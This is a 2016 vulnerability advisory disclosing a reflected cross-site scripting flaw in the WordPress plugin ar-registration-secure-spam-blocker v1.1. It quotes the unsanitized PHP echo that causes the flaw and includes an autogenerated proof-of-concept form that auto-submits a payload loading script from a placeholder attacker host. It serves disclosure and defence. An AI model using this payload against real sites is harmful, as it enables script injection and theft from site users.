Advisory #: 1117
Title: Reflected XSS in wordpress plugin ar-registration-secure-spam-blocker v1.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/ar-registration-secure-spam-blocker
Downloads: 308
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: ar-registration-secure-spam-blocker
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./ar-registration-secure-spam-blocker/includes/core.php: 21: <input id="ars-custom-field" class="input" type="text" name="ars-custom-field" value="<?php echo $_POST['ars-custom-field']; ?>" /> The variable ars-custom-field appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./ar-registration-secure-spam-blocker/includes/core.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3.  <form name=TheForm action=http://[target]/wp-content/plugins/ar-registration-secure-spam-blocker/includes/core.php method=post> <input type=hidden name=ars-custom-field value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>